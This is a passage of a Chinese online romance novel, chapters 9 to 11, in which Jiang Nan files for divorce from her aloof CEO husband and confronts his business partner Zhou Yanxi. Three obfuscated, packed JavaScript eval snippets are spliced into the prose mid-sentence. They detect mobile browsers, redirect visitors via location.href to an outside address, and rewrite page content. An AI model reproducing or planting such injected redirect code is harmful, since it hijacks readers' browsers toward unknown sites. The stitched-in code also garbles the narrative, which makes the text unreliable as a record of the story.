”噢,那你去告诉他,我来了。”周言熙音色上扬,轻快中带着娇俏,“让他快点过来见我!” “好的。”助理巴不得找个理由离开。 只要他不身在这修罗场,接下来发生任何事都跟他无关。 周言熙走到办公桌后,坐在大班椅上,抬手支着下颚,明艳秾丽的脸庞上,一双秋水剪瞳的眼睛,带了几分居高临下的意味看着姜南。 “你来找弈行干什么?”她笑着问,“给他送饭吗?” “周小姐,你这么没有边界感吗?”姜南反问她,“连别人的家事都喜欢过问?” 周言熙嘴角垂下,没了笑容。 姜南带着审视的目光看她,“作为合作方,你也越界了。蒋总桌面上的文件泄密,由你担责?还是说,你打着合作的名义,来窥探商业机密?” 周言熙的目光扫过办公桌,的确放着一些文件。她当即站起身,朝姜南走去,又故作漫不经心道:“这话严重了,随便找个地方坐坐而已。” 她并腿坐在姜南身侧的单人沙发上,抬手将一缕垂落的黑发绕至耳后,精致的侧脸展示着没有死角的美丽。而她线条柔和的下巴,使得这份美丽少了攻击性。 的确是男人都喜欢的样子,姜南没滋没味的想。 周言熙领略到姜南嘴巴上的厉害后,不再多说废话——从底层爬起来的人,就是尖酸刻薄。 姜南更不想搭理周言熙。没跟蒋弈行闹崩之前,她可能还碍着她合作方的身份顾忌一二,现在根本无需掩饰。 偌大的总裁办公室内,落针可闻,安静到诡异。 两人各自看手机,互不理睬。 直到办公室的门被推开,蒋弈行大步走入。 周言熙瞬间起身,走到蒋弈行跟前,嗔道: “等你好久了。” 蒋弈行拿着文件夹的手扬起,把周言熙往旁边虚推了下,目光越过她落到姜南身上,语气寡淡的问:“你来干什么? ” “离婚这种小事,在蒋总繁忙的日程里,可能排不上号。”姜南音色温软,语气平淡道,“我只好自己过来催办。” 周言熙一脸愕然,随即爆发出惊喜,她努力压住想要上扬的唇角,看向蒋弈行:“弈行……” “出去等我。”蒋弈行睇她一眼。 周言熙乖巧应声,高跟鞋踩着地面,轻快的离开办公室。 蒋弈行走到办公桌前,放下文件,曲着大长腿倚坐桌面,双臂环胸,一双丹凤眼泛着冷意,视线笔直落在姜南身上。 姜南被男人居高临下的目光笼罩,周遭空气都带了压迫感,她索性站起身,道:“上次我让律师把离婚协议送过来了,你签完之后,我们就去民政局申请离婚。 蒋弈行神色冷清,不答反问:“跟刚流产的老婆离婚,外界会怎么看我?” 姜南道,“我说过,可以不公布这个消息。” “纸包不住火,迟早会传开。”蒋弈行道,“我不能做这种没良心的事。” 姜南讥诮的笑了下,“哦,我谢谢你的人道主义?” 蒋弈行的手机响起,他拿起手机睨了眼,挂断后放在桌面上,再次看向姜南,道:“你抗压能力太差,情绪不稳定,已经影响你的判断。我建议你先冷静一个月,至少等身体养好,再考虑要不要离婚。” 姜南微笑应道,“我再次谢谢你考虑周全,不过你想的,国家替你想过了。申请离婚后,有一个月冷静期。一个月后再次办理,才能离婚。” 蒋弈行眉稍微挑,旋即平复,面上看不出丝毫波澜。 姜南寸步不让,“我会在此期间好好冷静,但是今天,请你抽出时间跟我去办离婚申请。” 蒋弈行走到办公桌后,从抽屉里拿出那份离婚协议。很简单的协议,简单到只有一张纸,几秒钟就看完了。 蒋弈行放下协议,指尖点着某处道:“房子归你这一条,我不接受。” “蒋总,以你现在的身价,还要为区区一套房子跟我计较吗?”姜南难以置信的问。 蒋弈行眼神平静又冷漠,藏着一丝不易窥见的阴霾,“被辞退的人才有额外补偿,主动离职,后果自负。婚姻同理,除了法律支持的部分,你不会得到任何额外的东西。” 姜南胸口仿佛被塞满冰块,巨大的寒意,冷的她五脏六腑都在战栗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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姜南背过身,睁大眼睛,把快要气出来的眼泪,硬生生逼了回去。 蒋弈行起身走到姜南背后,抬起手,轻覆在她肩头,刚要劝她,姜南跟被毒蛇碰到似得,迅速拉开距离。 姜南迅速整理情绪,掩盖自己的脆弱后,再度看向蒋弈行,质问道:“你跟一个为你做了三年全职太太的人,斤斤计较一套房子,说出去不怕被人笑话吗?你所谓的良心呢?” 蒋弈行后退一步,倚着办公桌,冷淡的语气带着惯有的强势和傲慢,“一套房子不足以补偿你对婚姻的付出,所以,我不同意。你非要离婚,把事情闹的很难看,就没有跟我讨价还价的余地。” 姜南定定的看了他半晌,再次开口时,平静又决绝,“好,我认。把协议中房产那条去掉,交由法律分配,劳烦蒋总马上签字。” 蒋弈行眉峰下压,面容冷肃。 姜南催促:“签字吧。” “你想好了?” “是。” 蒋弈行:“为什么非要离婚?” 姜南:“我想要孩子。” “我们还可以……” “不。”姜南打断蒋弈行的话,顿了顿,道,“我这么容易流产,一定是因为你精/子质量不好。我为什么要继续跟你捆绑在一起受罪?” 姜南耸了耸肩,仿佛抖掉一身累赘,语气格外洒脱,“换一个男人生孩子,才是最优解。” 蒋弈行的脸色瞬间铁青。 向来精密运算的大脑,出现一种超负荷的空白。 男人手掌压着桌子边沿,衬衣里的手臂肌肉绷紧到极致,青筋跳动着似要爆裂而出。 他盯着姜南,暴怒的眼神就像濒临失控的野兽。半晌,咬着后牙槽,僵硬点头,“好,终于说实话了。” 他再次点头,声音冷沉锋利,“我满足你。” 姜南看到他失控的脸色,终于有了一丝报复的快意。 蒋弈行回到办公桌前坐下,拿起笔,在协议下方签上自己的名字。 龙飞凤舞的三个字,最后一笔落下时,划破了白纸。 9.009 姜南看到蒋弈行的签字落下,轻吁一口气,道:“那咱们就事不宜迟,现在去民政局申请离婚。” 蒋弈行丢开笔,冷眼看她,“等会儿还有一场会,我只有20分钟的时间。” “没关系,你先去开会。”姜南淡定道,“我等你下一场会开完。来都来了,我肯定要一次性把事情办完。” 蒋弈行闭了闭眼,一句话都懒得说,起身离去。 办公室门打开时,坐在外面休息区的周言熙,起身迎上前。 蒋弈行淡道:“开会去。” 周言熙点头,与他一道前行。 姜南站在办公室里,看着两人并肩走远的身影,心里某个角落泛起的酸楚,直冲脑门。 姜南深吸一口气,仰了仰头,拼命抑制着鼻腔和眼眶里的反应。 她走到沙发前,端起茶几上的咖啡,不紧不慢喝完,等情绪恢复稳定后,走出门外。 姜南问助理:“他接下来开的是什么会?大概要多久?” 助理微笑着如实道:“会议主题是跟夏宇医疗合作研发的微创手术机器人项目,预计一小时内结束,蒋总惜时如金,开会很高效,从不拖沓。” 姜南顺着走廊前行,经过一个拐角,路过大会议室。 会议室外设计为一整面的玻璃墙,可以清楚看到里面开会的人。 会议室大门紧闭,隔音效果很好。姜南听不到里面在说什么,但能看到周言熙站在长桌前端的位置,她身后是投影屏幕,那张明艳的脸上带着从容自信的微笑,正侃侃而谈。 会议室内众人无不看着她,包括坐在长桌一侧首位的蒋弈行。 姜南在室外站了很久,她发现蒋弈行的目光,一秒都不曾由周言熙脸上离开。 姜南蓦然想起,他上一次这么专注看自己,还是在她担任创行财务总监做年度汇报时。 那时候,他对她很重视。他会因为听到她跟同事闲聊,办公室采光不好眼睛酸痛,第二天雷厉风行的给她重新安排办公室。他会在她熬夜加班时,给她点外卖,深夜下班后亲自开车送她回家。他会在她生病时,来到她租住的小屋给她送药,带她去医院。 多么荒谬,她待遇最好的时候竟然是做他下属时。 自从她离开公司,成为他的全职太太,明明她的世界围着他转,却再也得不到曾经的重视和关心。 旁人不会知道这种有口难言的苦楚,他们只会羡慕她,近水楼台先得月,拿下了这个前途不可限量的男人。 像是感觉到什么,蒋弈行转过脸,恰与会议室外的姜南视线交织。 三秒后,他面无表情的移开视线。 姜南讥诮的扯了扯唇角,转身离去。 姜南路过茶水间,无意间听到里面闲聊的声音。 “我今天看到蒋总的太太了!” “还以为蒋总老婆是周家千金那种明艳大美人呢,没想到看起来那么普通。” “也不算普通吧,我跟蒋太太共事了几年,其实很耐看的,属于越看越好看的那种……” “可是蒋总很帅啊,帅到那么顶的程度,就算没事业,美女都能随便挑,更别说咱们蒋总还是名副其实的霸总。” “这你就不懂了,你去看看那些大佬的太太,多是蒋太太这种类型,眉清目秀,温婉大气,藏锋于内。” “就是,美貌对于大佬来说又不是什么稀缺资源。” “那蒋太太到底是靠什么拿下他的?” “她在公司成立那年就进来了,那时候财务部就她一个人。” “哇,元老级别的人物!这么有眼光!” “可不止有眼光。公司刚冒头的时候,蒋总跟一个合伙人起了分歧,对方想收买蒋太太在财务上动手脚,蒋太太坚定不移的站蒋总这边,帮他清理门户。现在说起来三言两语,当时内部人心惶惶,以为公司要凉了。” 茶水室内响起此起彼伏的惊叹声。 “有胆识!” “富贵险中求!” “她成了蒋总心腹后,一路干到财务总监。后来公布跟蒋总的婚讯,没多久就辞职了。” “为什么辞职啊??” “结婚了嘛。她人生最大的成就,不就是成为蒋太太。” “有男人在外遮风挡雨,回家享受荣华富贵不香吗?” “蒋总现在可是站在金字塔尖的男人,自身条件那么卓越,还能忠于家庭。蒋太太是压对宝了,福气还在后头呢。” “哇哦,接一个蒋太太的婚姻运!” “接接接……” 姜南听着里面的闲聊声,心中愈发觉得讽刺。 她的人生经历到最后只浓缩为三个字:蒋太太。 在旁人看来,这是天大的福气。无人知晓也无人在意,她在这场婚姻里付出了什么。 姜南不想让里面的人尴尬,转身离去,回到蒋弈行的办公室。 一个小时后,蒋弈行还没有回来,姜南询问助理,助理说:“蒋总开完会,被研发二部的陈总请去实验室了。” “要多久?” “这个……不能确定时间……”他尴尬的挠了挠头。 “好的,没关系,我等。”姜南好脾气的应道。 姜南一直等到午餐时间,索性给自己点外卖。 她现在是铁了心,蹲守在蒋弈行办公室,直到他跟她去民政局领离婚申请。 蒋弈行结束繁忙的工作,回到办公室。 推开门,看到姜南坐在沙发上吃炸鸡喝可乐,顿时沉下脸:“你刚做完手术,就吃这些垃圾食品?” “跟你没关系。”姜南不看他,接着吃。 蒋弈行大步上前,端走她手里的可乐,又拿起那盒炸鸡,转身走到垃圾桶前,“咚”的一声丢了进去。 他折回到还在发愣的姜南身边,扣住她纤细的手腕,把她手里的那根鸡腿劫走,一并扔掉。 姜南豁然起身,生气的看着他,“你干什么?” “没离婚之前,你还是我老婆,我要为你的健康负责。”蒋弈行弯下腰,抽出一张湿纸巾,擦拭双手,道,“跟我去食堂吃饭。” 姜南重新坐回到沙发上,沉默看手机,不搭理他。 蒋弈行走在门边顿住步,回头看她,“吃了饭,就去民政局。” 姜南将信将疑的抬眼,“真的?” 蒋弈行径自出了门。 姜南不想再生事端,果断起身跟出去。 公司食堂在三楼,仅为员工服务的内部餐厅,刷工牌免费用餐。除了一日三餐,还有上午的点心和下午茶,以及晚间的宵夜。任何时候来到这里,都有免费的食物提供。 蒋弈行在员工福利这一块从不吝啬,餐厅从一开始就是高标准打造,每个月的经费只增不减。 姜南和蒋弈行一道出现在员工餐厅,吸引了明里暗里的无数道视线。 姜南给自己端了一碗牛肉面,蒋弈行吃的三菜一汤,两人在同一张桌子上相对而坐,沉默用餐。 吃过饭后,姜南跟随蒋弈行来到地下停车场。 姜南问:“你自己开车?不通知司机吗?” 蒋弈行上了驾驶座,姜南犹豫三秒,坐上副驾驶。 系好安全带后,蒋弈行瞥她一眼,不冷不热道:“离婚是什么很光彩的事情吗?你想要广而告之?” 姜南:“……” 半个小时后,车子抵达民政局。 姜南走向民政局大门时,不由得想起三年前她跟蒋弈行来这里领证的场景。 同一个地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15505213|169876||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 方,截然不同的两种心情。 那时候的她,满心甜蜜,满怀憧憬,对未来充满期待。她主动拉住蒋弈行的手,依偎在他身旁。 她以为自己终于摘下了月亮,自此幸福终老。 看到大门牌匾那一刻,姜南的眼眶酸胀的厉害。 她突然停下脚步,往一侧走去。 民政局外的绿地上,种了一片梅林。 在这寒冬腊月里,梅花灼灼,梅树浮香。 美的灿若烟霞,仿佛是爱情最美好的样子。 姜南走到一棵梅花树下,停住步。 蒋弈行来到她跟前,双手抄兜,慵懒倚着树干,淡道:“你要是后悔的话,我现在可以开车送你回家。” 姜南静静的看着他。午后淡金色阳光穿过枝叶间的缝隙筛落,斜映在他修长脖颈上,清隽的喉结随着他说话上下滚动。 男人这张脸是她百看不厌的模样,每一处都恰到好处的长在她的审美点上。眉目深邃,鼻梁高挺,唇形丰厚,下颌棱角分明,明明是浓颜系的脸孔,整个人透出一股君子如玉的清冷端方。他漫不经心的倚着梅树,身后的灼灼梅林都只成为他昳丽姿容的陪衬。 姜南看着他,带着最后的一丝不甘,开口道:“你总问我,为什么非要离婚。我也想问你一个问题。” “你说。”蒋弈行应声。 “你——爱过我吗?”姜南一字一顿,声音微不可闻的颤栗。 蒋弈行沉默看他。 在那几秒时间里,她看到他眉头微微蹙起,看到他眉峰下压,看到他脸色不虞——这些都是他有负面情绪时的反应。 她突然不想听他回答,正要喊停,蒋弈行开口了。 “姜南,你都要三十了,我也三十三了,人生过半,你还在纠结爱不爱的问题,不觉得很幼稚吗?” 姜南胸口哽的难受,却没有流出泪来。 眼泪是另一种耻辱。 蒋弈行沉声道:“爱情从来不是婚姻的基石,责任感才是。” “我自问没有任何对不起你的地方。”蒋弈行的目光居高临下,说教的语气,冷静又理性,“爱情只是多巴胺在作祟,是人类冠名的骗局,是自我催眠和想象出来的东西,对婚姻毫无意义。” 姜南耳边嗡嗡回响着男人冷酷的声音,恍惚的问出一句:“那我对你的爱,算什么?” “你只要做一个好妻子,我就对你很满意。”蒋弈行道,“你爱不爱我,对我来说不重要。” 姜南怔怔看他。 女人瘦削的身影看起来一阵风就能刮跑,脸色苍白如纸。 蒋弈行见她失神破碎的模样,眉头微蹙,道:“如果不爱我,能让你好过点,我希望你不要爱我。这种没有实际价值的东西,我不需要。你停止这种纠结内耗,反而对我们俩都好。” “你要是陷在情绪泥潭里,不好好过日子,非要闹离婚,”他抬起手,点了点姜南的太阳穴,“总有一天,你会后悔。” 姜南恍然大悟般,点了点头。 对啊,一个给他端茶倒水照顾他饮食起居陪他睡觉的女人,能有什么价值呢? 不过是随时可以替换的多功能保姆。她爱他,她对他有期望有要求,反而是他的累赘。 梅花树下,淡香萦绕。几片粉色花瓣飘下,落在蒋弈行乌黑发顶。他面如冠玉,形如劲松,随意站立自成风景。 这个男人,足够优秀,足够成功,也足够凉薄,他根本不屑于用爱情的幌子来敷衍她。 姜南忽而笑了,心里千疮百孔,脸上笑得格外洒脱,哑着嗓子应道:“好啊,正巧,我也不想爱你了。” 蒋弈行沉默看她,眉头微蹙。 姜南道:“我也想知道,是不是有一天,我真的会后悔。” 10.010 民政局内。 一楼办理离婚的地方,排着长队。 姜南放眼看去,既有年轻人,也有中年人,还有白发人。原来每个阶段的婚姻,都不是 绝对稳固。 姜南跟蒋弈行排在队尾,前面女人不经意转过身,视线扫过姜南身后的蒋弈行时,蓦地定住。被硬控了数秒后,忍不住问:“站你后面的,是你老公?” 姜南点头。 女人啧了一声,劝道:“要不你再想想?男人嘛,各有各的毛病,你老公至少长得帅,身材好。别说看着养眼,让他去当网红还能给你赚钱。” 在一片低迷压抑的氛围中,女人这句话格外醒神。一时间,排队的人都忍不住转过头看。蒋弈行被打量的目光包围。 蒋弈行身穿深灰色大衣内搭商务开衫和西裤。穿着简单,但高档的材质,笔挺的面料,将他本就出众的气质,衬得愈发出类拔萃。更不用说,他还有一张经得起严格审视的脸,和一览众山小的挺拔身材。 蒋弈行成为众人焦点后,神色不变,对姜南道:“我去外面等你。” 他转身离去,远离八卦现场。 “你老公应该挺有钱吧?”女人再次打听,直白的感叹,“连走路姿势都透着一股霸总味儿!” “……”姜南不知道该怎么接话了。 一名年轻女人走到姜南跟前,笑眯眯道:“能不能分享你老公的联系方式呀?” 姜南:“?” “反正你都要离婚了,对吧?”女人讨好的商量着,“我有个富婆闺蜜,长得好看又有钱,想介绍给你老公。她是外貌协会资深会员,对男人唯一要求就是帅,其他无所谓。” 中年女人反应过来,“也分享我一个!我小侄女在相亲,那些歪瓜裂枣哪里比得上你老公。” 姜南有些心梗。 不,是十分心梗。 她知道蒋弈行恢复单身一定会很受欢迎,但怎么也没想到,在离婚现场都能被索要联系方式,还是毫不避讳的从她这个前妻这里。 “都说男人好色,我看女人才是。”旁边一位等待的男士,不冷不热的出声。 “哦,就兴男人挑美女,女人不能挑帅哥吗?”中年女人当即回击,“看看你自己,游泳圈,地中海,五官各长各的,满肚肥肠,我每天睁眼都想上呼吸机!要不是看在孩子份上,我能忍你到现在?就这,还乱搞,一张丑逼脸是彻底不要了!” “你非要在外面丢人现眼是吧?”男人豁然起身,面色恼羞。 “怎么着?你要跟我动手不成?”女人开始撸袖子了。 姜南怕爆发肢体冲突,把女人往一旁拉了拉,劝道,“都要离婚了,何必动气。” 其他人纷纷劝阻,连工作人员都出来制止:“不要吵闹。” 短暂的骚动归于平息,年轻女人再次跟姜南要联系方式,“推我一个微信好吗?” 姜南道:“他的事跟我无关,你自己去要。 ” “哦……”女人悻悻应了一声。对方长着一张很好说话的温柔脸,没想到不那么好沟通。 队伍还在缓慢向前,年轻女人朝窗外反复看了几眼,最终鼓起勇气往外走去。 姜南低头刷手机,不再关注,以免给自己找不痛快。 没一会儿,女人再次回到队伍中,看起来垂头丧气的。 “你老公估计是拒绝了,算了,我懒得去碰壁。”中年女人对姜南低声道。 等到中年女人跟她丈夫势同水火的进入室内办理手续时,姜南给蒋弈行打电话。 轮到他们之后,办理流程很快,等两人走出民政局大门时,各自持有《离婚登记申请书》以及《离婚登记申请受理回执单》。 姜南拿出手机打网约车,司机接单后,她转头看向蒋弈行:“那么,一个月后再见,我会提前一天提醒你,请蒋总务必安排好时间。” 蒋弈行双手抄进大衣口袋里,连带那两张单据一并被揉进去。他神色肃冷,狭长的丹凤眼里寒意渗人。 姜南没等到他回应,没甚意味的扯了扯唇,抬步离去。 蒋弈行看着姜南的背影,沉声道,“没想到你是这样的人。” 姜南脚步一顿,没有回头,“什么样?” “没有契约精神,更没有责任感。”蒋弈行语气刻薄,暗藏一股他自己都没察觉到的怒意。 “哦。”姜南应声,“不好意思,让你看走眼了。” 网约车停在路边,姜南看到是接单的车牌号,走上前,拉开后座车门。 抬眼瞬间,发现蒋弈行还站在原地看着她,面色阴沉至极。 姜南心下一颤,感觉自己再不快点走,他可能要做出什么不可控的事情。 姜南迅速坐入车内,车子绝尘而去。 姜南坐在车上,给姜菀葶打电话。 “刚从民政局出来,办了离婚手续。”姜南呼出一口气,心里轻松许多。 姜菀葶感慨:“这么有效率!” “不过还没完全离掉。” “接下来就是一个月的冷静期?” “嗯,现在是提交申请,一个月后就正式离婚了。晚饭出来吃,庆祝一下。” “好嘞,没问题!” 结束通话后,姜菀葶立马在微信上跟男友八卦。 葶葶:“我姐领离婚申请了!” XSR:“不是吧!来真的?” 葶葶:“她本来就是铁了心要离婚~” XSR:“你不劝劝吗?” XSR:“以蒋总现在的身价,姐姐离婚就是把到手的金山银山送出去。” 葶葶:“我也没觉得我姐结婚后过的多好啊,别墅豪车奢侈品,她啥都没有!” XSR:“那是姐姐低调!你当真以为蒋总没钱?” XSR:“现在多少资本追着蒋总要投钱,外界对创行上市估值过千亿!” 葶葶:“是不是哦?” XSR:“不要小看前沿技术的吸金能力。” 葶葶:“可是我听我姐说过,创行有投资人,蒋弈行只持有部分股份,公司也不全是他说了算,内部复杂着呢。” XSR:“蒋总可是创一代,实力摆在这,就算没了创行,他还能有创意创兴创明……反正多的是人愿意给他投钱,这年头投资就是投人嘛。” XSR:“他的话语权只会越来越大。” XSR:“我也是为了姐姐好。蒋总真的是天花板级别的好男人了,事业前途无量,私生活干干净净。” 葶葶:“可拉倒,他跟那个白月光不清不楚!” XSR:“都是同事之间在传八卦,其实就合作而已。” XSR:“为了姐姐好,你能劝就劝吧。” XSR:“姐姐现在离婚,不就是前人栽树后人乘凉吗?” 葶葶:“就他那个大爹样儿,谁爱乘凉就乘凉去吧[骷髅.jpg]” 葶葶:“不聊了,我出门了。” 姜菀葶不想跟徐思睿聊天了,他对他的领导有滤镜,根本不理解她姐在婚姻里受的委屈。 姜菀葶换好衣服出门,开车前往姐姐订位的餐厅。 位置在滨江低密度开放式商业街区,是一家川菜餐厅。 姜菀葶在服务员的带领下来到餐桌前,姜南已经坐在那,正翻阅着菜单。 昏暗光线下,姜南的脸庞被打了一层柔光,五官更显细腻柔和。 姜菀葶一直觉得姐姐很好看,很耐看,越看越有味道。不似张扬的牡丹,也不似热烈的玫瑰,非要类比的话,更 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15512380|169876||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 像是清雅的栀子。不抢眼,不张扬,只向那些愿意驻足观赏的人绽放芳华。 姜南点了几道菜后,将菜单递给姜菀葶,“你看看还想吃什么?” 姜菀葶看了眼:“先就这样吧,不够再加。” 姜南点的酒水很快被呈上,特调的两杯鸡尾酒。 姜南举起酒杯,与姜菀葶碰杯,“庆祝我即将开始新生活。” 姜菀葶点头,道:“开心就好!” 她这么好的姐姐,不配得到真爱,活的开开心心吗?就得为了几个臭钱,对蒋弈行卑躬屈膝委曲求全? 像蒋狗这种完全没有情绪价值和陪伴价值的老公,谁沾谁抑郁! “对了,你们的离婚协议到底怎么分的?”姜菀葶好奇的问。 “一切按照法律规定来。”姜南淡道。 “狗东西!”姜菀葶咬牙切齿,“不,猪狗不如!” “千万不要为自己在婚姻内的牺牲自我感动,离婚时,一切都会以法律为准绳。”姜南自嘲的笑。 姜菀葶用力点头,“你给我上了生动的一课,非常有教育意义。” 吃过晚餐后,姜菀葶提议去逛街。 她想带姐姐购物减压,多买点漂亮衣服和包包,彻底告别过去的沉闷。 路过一家大牌店时,姜菀葶拉着姐姐入内,放出豪言:“姐,你只管挑选,看上哪个包,我就算爆肝也要送给你!” “没必要,赚钱那么辛苦,不要乱花。”姜南按捺住她蠢蠢欲动的心,“奢侈品对我们普通人来说,就是虚荣税。” “不至于,也就几万块钱嘛,我还是付得起。” “你不想攒钱买房了?”姜南话锋一转。 姜菀葶瞬间梗住。 “哎呀,那咱们先逛逛,看看有什么好看的款。”姜菀葶挽起姜南胳膊,拉长了音调,“去嘛去嘛~” 姜南拗不过她,陪她一起走入店里。 姜菀葶兴致勃勃的在店内浏览,目光扫过一款黑金托特包时,眼前一亮,“这一款好看欸,而且很实用,能装很多东西。好看又好用,适合你哦,姐。” 蒋菀葶知道她姐是实用主义者,那些花里胡哨的小废包,肯定不合她意。 姜南赞许的点点头,“确实不错。” 姜菀葶目光左右逡巡,想喊服务员帮她把包包拿下来试背,结果人都没看到。 “没人就算了。”姜南道,“走吧。” 姜菀葶看到一条往里的通道,“我们进去看看。” 里面是一个很大的展厅,挂的都是成衣。 七八个穿制服套装的柜哥柜姐都守在这里,面带笑容,如沐春风。 当更衣室的门推开,一名个子高挑的女生走了出来。 姜菀葶还没走近,就有种一眼惊艳的感觉。第二眼又觉得有点眼熟。但她没多想,美人可能都让人觉得眼熟。 可是当她看到沙发上坐着的男人,一身笔挺西装,锋利的眉峰,高悬的鼻梁,完美的下颌线,构成一张英气逼人的侧脸。在厅内冷调灯光下,更显清冷高级。 这不就是今天才跟他姐去民政局的狗东西! 姜菀葶满脸震惊,都来不及处理情绪,赶紧扭头,想要拉走跟过来的姐姐。 周言熙在落地镜前转了一圈,又走到蒋弈行跟前,问道:“弈行,这套怎么样?” 蒋弈行这才将目光由手机上移开,看了一眼周言熙,淡道:“还行。” 周言熙面色娇俏,轻笑道:“马上就是我生日了,要不,你把这件买下来送给我?” 蒋弈行面无波澜:“我没钱。” 周言熙:“……” “我的钱都归老婆管。”他云淡风轻道。 丝毫不在意周围各位柜哥柜姐们神色各异的目光。 11.011 成衣展示厅内。 周言熙脸色几经变幻,最终还是强撑着不爽,微笑起来。 她故作洒脱道:“好吧,我自己买单。不过,你堂堂一个总裁,居然连可支配资金都没有,她管你管成这样,你都能忍呀。” “我让她管的。”蒋弈行脸上没甚情绪,站起身,催促道:“去买单,别耽误时间了。” 说着,他已经抬步往外走。 周言熙轻咬唇瓣,幽怨的看着男人高大背影,但很快就追了上来。 店铺外间,姜南还没走进去,就被进去又折返的姜菀葶拉住,“算了,都在伺候贵客呢,咱们走吧,别家逛去。” 姜南本身也没什么兴趣,点点头。 两人刚走到店铺大门口,身后传来声音。 “弈行,今天还是要谢谢你,愿意陪我来这一趟。”周言熙在蒋弈行身旁笑眯眯道。 姜菀葶心道糟糕!渣男贱女怎么这么快就出来了! 她想拉姜南快点走,但姜南已经顿住步,下意识转身看去。 姜南与蒋弈行四目相对,两人眼里皆有些错愕。 但随即,姜南看向他身旁的周言熙,再次回到他身上时,斥满鄙夷,甚至厌恶。 周言熙也没想到,会在这里碰到姜南。她目光一转,故意往蒋弈行身边靠的更近了些,笑着打招呼,“好巧啊。” “一点都不巧!谁愿意好端端走在路上踩狗屎!”姜菀葶率先输出。 周言熙脸色一变,还没回击,姜菀葶的攻击瞄准了蒋弈行,“噢哟,白天才去民政局离婚,晚上就迫不及待陪小三来逛街啊?你可真行啊,蒋总!” 如果说她以前对蒋弈行还有几分敬重和忌惮,随着姐姐离婚,又撞到他陪其他女人逛街,已经彻底化为愤怒。 “不对啊!”姜菀葶自问自答,蓦然提高音量,“你们还没离婚呢,现在只是离婚申请,就这么招摇过市,不怕伤风败俗吗?” 蒋弈行对姜菀葶的大呼小叫置之不理,幽深视线落在姜南身上,似乎在等她开口说什么。 一众柜姐尴尬的左看看右看看,不知如何是好。 周言熙听到他们已经申请离婚,心里喜不自禁,但面上严肃警告道:“注意你的言辞,再胡说八道,我告你诽谤!” “敢做还不敢让人说了?”姜菀葶冷笑,“你也太迫不及待了吧,就不能等他把婚离完吗?” 周言熙没有继续跟姜菀葶争执,她转而看向蒋弈行,一脸心痛和惋惜道:“误会我倒没什么,可你们夫妻一场,在她们眼中,你竟然是这种人……” 蒋弈行的眼神沉下去几分。 周言熙又看向姜南,不冷不热道:“我知道你离婚不痛快,可你也不至于带个泼妇,跟踪到这里来骂街吧?” 姜菀葶气的肺都快要爆炸了,正要骂人,姜南将她轻轻往后一拉,直面周言熙,淡道:“我对你们的行踪不感兴趣。但我要提醒你一件事,我跟蒋弈行还没正式离婚,他为你花的每一分钱都算婚内财产,有我的一半。” 周言熙:“……” “我为你刷卡买单,你骂我妹妹是泼妇,天底下没有这样的好事。要么你跟我妹妹道歉,要么,我会依法追回这笔钱。”姜南声音平静,但透出一股不可撼动的力量感。 周言熙一整个无语。但她不能说蒋弈行压根就没打算帮她买单。 她哂笑:“你放心,我是这里的VIC,这点消费能力还是有的。不像有的人,只能靠男人。” 一旁的蒋弈行始终沉默,眼里暗藏几分讶异和审视。 周言熙跟柜姐去付款。 蒋弈行朝姜南走去,正要说什么,姜南转过身,毫不留恋的走了。 姜菀葶狠狠瞪了蒋弈行一眼,转身跟上姜南的脚步。 姜南走出店外,被大步追上来的蒋弈行抓住了手臂。 “姜南。”他沉声唤她。 姜南却剧烈挣扎,眉眼间写满了抗拒:“你别碰我!” “我不是……”他话还没说完,姜南猛地拍向他的手背。 蒋弈行白皙的手背瞬间红了起来,但他并没有觉得多痛,他只是被她激烈的反抗震慑,下意识松开手。 这是姜南第一次对他发火,她连提离婚都是克制而平静,现在居然对他动手了。 姜南冷眼看他,“刚才只是为了恶心周言熙,事实上,我对你的事已经不感兴趣了。” 蒋弈行:“……” 他还没说出口的解释,都卡在嗓子眼。 “不要当街拉扯,很难看。”姜南冷静说完,转身离去。 蒋弈行站在原地,看着她的背影。 直到周言熙买完单,来到他身旁,若无其事道:“我们走吧。” 蒋弈行突然觉得索然无味,“你自己去,我没空。” “可是……”周言熙急道,“今晚是很重要的饭局啊!” “没空。”蒋弈行双手抄兜,沉着脸转身离去。 周言熙站在原地,高跟鞋用力碾着地面,心里鬼火直冒! 今晚这场饭局,由她爸亲自跟蒋弈行邀约,她开车去接人。为了多一点单独相处的时间,她使了个心眼,故意穿一身运动装,接到蒋弈行后,以着装不合适为由,让他顺路陪她买套正装换上。 可蒋弈行今晚连续几次不给她面子不说,现在还直接爽约。她回去都没法跟爸爸交代。 作为众星捧月的周家大公主,什么时候受过这种气。 周言熙恨恨的想,等拿下蒋弈行之后,一定要让他也吃吃苦头。这个男人太傲慢了,她一定要亲手折断他的傲骨。 …… 上车后,姜南一直沉默。 姜菀葶开着车,想安慰姐姐,又不知道该怎么说。 谁碰到这种情况都很闹心。 姜菀葶憋了半天,憋出干巴巴的一句,“算了,反正都要离婚,不值得生气!” “我知道。”姜南轻轻点头,目光看向车窗外。 夜色笼罩下的城市,霓虹闪烁,商业街区人声鼎沸。 